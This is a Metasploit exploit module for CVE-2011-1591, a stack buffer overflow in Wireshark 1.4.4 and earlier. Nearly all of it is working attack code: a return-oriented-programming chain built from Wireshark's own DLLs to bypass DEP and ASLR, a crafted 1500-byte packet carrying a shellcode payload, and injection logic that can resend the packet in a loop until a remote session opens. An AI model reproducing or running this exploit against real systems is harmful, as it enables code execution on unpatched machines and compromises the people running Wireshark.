Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow



##

# $Id: wireshark_packet_dect.rb 12371 2011-04-19 16:41:58Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::Capture

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow (remote)',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Wireshark <= 1.4.4
                by sending an malicious packet.)
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Paul Makowski',  #Initial discovery
                    'sickness',       #proof of concept
                    'corelanc0d3r',   #rop exploit + msf module
                ],
            'Version'        => '$Revision: 12371 $',
            'References'     =>
                [
                    [ 'CVE', '2011-1591'],
                    [ 'OSVDB', '71848'],
                    [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838' ],
                    [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/17185' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'       => 936,
                    'DisableNops' => 'True',
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Win32 Universal (Generic DEP & ASLR Bypass)', 
                        { 
                            'OffSet' => 1243,
                            'Ret'    => 0x667c484d, #libgnutl pivot - tx Lincoln
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Apr 18 2011',
            'DefaultTarget'  => 0))

        register_options([
            OptBool.new('LOOP', [true,  'Send the packet every X seconds until the job is killed', false]),
            OptInt.new('DELAY', [true,  'This option sets the delay between sent packets', 5])
        ], self.class)

        register_advanced_options([
            OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]),

        ], self.class)

        deregister_options('FILTER','PCAPFILE','RHOST','SNAPLEN','TIMEOUT','UDP_SECRET','NETMASK','GATEWAY')


    end
    
    def junk
        return rand_text(4).unpack("L")[0].to_i
    end

    def exploit

        ptype = "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x23\x23"

        print_status("Preparing payload")

        pivot = [target.ret].pack('V')

        # pvefindaddr rop 'n roll
        # tx dadr00p (https://twitter.com/dietersar) for testing the offsets below
        rop_pivot =
        [
            0x618d7d0e,     # RET        
            0x618d7d0e,     # RET        
            0x618d7d0e,     # RET        
            0x64f9d5ec,     # ADD ESP,0C # RET - libfontconfig-1.dll
            0x618d7d0e,     # RET <- don't count on this one !
            0x618d7d0e,     # RET
            0x618d7d0e,     # RET
            0x618d7d0e,     # RET
            0x61C14268,     # ADD ESP,24 # RETN - freetype6.dll
            0xFFFFFFFF,     # crash baby ! 
            0xFFFFFFFF,
            0xFFFFFFFF,
            0xFFFFFFFF,
            0xFFFFFFFF,
            0x618d7d0e,
            0x618d7d0e,
            0x618d7d0e,
            0x618d7d0e,
        ].pack("V*")

        rop_gadgets =
        [
    
            0x6d7155cb,     # PUSH ESP # POP EBX # POP EBP # RETN  **[libpangoft2-1.0-0.dll]
            junk,
            0x6d596e31,     # MOV EAX,EBX # POP EBX # POP EBP # RETN  **[libgio-2.0-0.dll]
            junk,
            junk,
            0x61c14552,     # POP EBX # RETN    ** [freetype6.dll]
            0x00000800,     # size - 0x800 should be more than enough
            0x61c14043,     # POP ESI # RETN    ** [freetype6.dll]    
            0x0000009C, 
            0x6d58321a,     # ADD EAX,ESI # POP ESI # POP EBP # RETN    **[libgio-2.0-0.dll]
            junk,
            junk,
            0x68610a27,     # XCHG EAX,EBP # RETN    ** [libglib-2.0-0.dll]
            0x629445a6,     # POP EAX # RETN    ** [libatk-1.0-0.dll]
            0x62d9027c,     # 
            0x6c385913,     # MOV EAX,DWORD PTR DS:[EAX] # ADD CL,CL # RETN  ** [libgdk-win32-2.0-0.dll]
            0x617bc526,     # XCHG EAX,ESI # ADD AL,10 # ADD CL,CL # RETN    ** [libgtk-win32-2.0-0.dll]
            0x64f8c692,     # POP EDX # RETN    ** [libfontconfig-1.dll]
            0x00000040,     #
            0x619638db,     # POP ECX # RETN    ** [libgtk-win32-2.0-0.dll]
            0x6536B010,     # RW
            0x618d7d0d,     # POP EDI # RETN    ** [libgtk-win32-2.0-0.dll] 
            0x618d7d0e,     # RET
            0x64fa0c15,     # POP EAX # RETN    ** [libfontconfig-1.dll] 
            0x618d7d0e,     # RET
            0x61963fdb,     # PUSHAD # RETN     ** [libgtk-win32-2.0-0.dll]
        ].pack("V*")

        pivot = [target.ret].pack('V')

        buffer = rand_text(131)
        buffer << rop_pivot
        buffer << rop_gadgets

        nops = make_nops(target['OffSet'] - (buffer.length) - (payload.encoded.length))

        buffer << nops
        buffer << payload.encoded
        buffer << pivot

        filler = 1500 - buffer.length

        buffer << rand_text(filler)

        pkt = ptype
        pkt << buffer

        print_status("Sending malicious packet")
        open_pcap()
         
        handler

        if datastore['LOOP']
            while true
                break if session_created? and datastore['ExitOnSession']
                inject(pkt)
                select(nil,nil,nil,datastore['DELAY'])
            end
        else
            inject(pkt)
        end

        close_pcap
    end
end